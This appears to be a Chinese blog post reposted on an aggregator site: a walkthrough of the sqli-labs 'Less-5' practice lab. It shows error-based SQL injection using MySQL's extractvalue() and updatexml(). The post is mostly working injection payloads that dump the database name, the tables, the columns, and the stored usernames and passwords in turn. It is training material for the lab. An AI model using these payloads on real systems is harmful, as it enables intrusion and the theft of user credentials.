首页 > 其他 > 详细

Less-5-03

时间:2020-09-19 09:33:19      阅读:47      评论:0      收藏:0      [点我收藏+]

0x01 extractvalue()报错注入

extractvalue(1,concat(0x7e,(select database()),0x7e))
爆数据库:

?id=-1‘ and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+

技术分享图片
爆表名:

?id=-1‘ and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security‘),0x7e)) --+

技术分享图片

爆列名:

?id=-1‘ and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘),0x7e)) --+

技术分享图片

爆字段:

?id=-1‘ and extractvalue(1,concat(0x7e,(select concat_ws(‘-‘,username,password)from users limit 2,1),0x7e)) --+
#使用concat_ws()函数,逐个爆出

技术分享图片

0x02 updatexml()报错注入

updatexml(1,concat(0x7e,(select database()),0x7e),1)
爆数据库:

?id=-1‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

技术分享图片
爆表名:

?id=-1‘ and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=‘security‘),0x7e),1) --+

技术分享图片

爆字段名:

?id=-1‘ and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=‘security‘ and table_name=‘users‘),0x7e),1) --+

技术分享图片

爆数据:

?id=-1‘ and updatexml(1,concat(0x7e,(select concat_ws(‘-‘,username,password) from users limit 0,1),0x7e),1) --+
#使用concat_ws()逐个爆出数据

技术分享图片

参考链接:
《sql注入天书》

Less-5-03

原文:https://www.cnblogs.com/observering/p/13694649.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!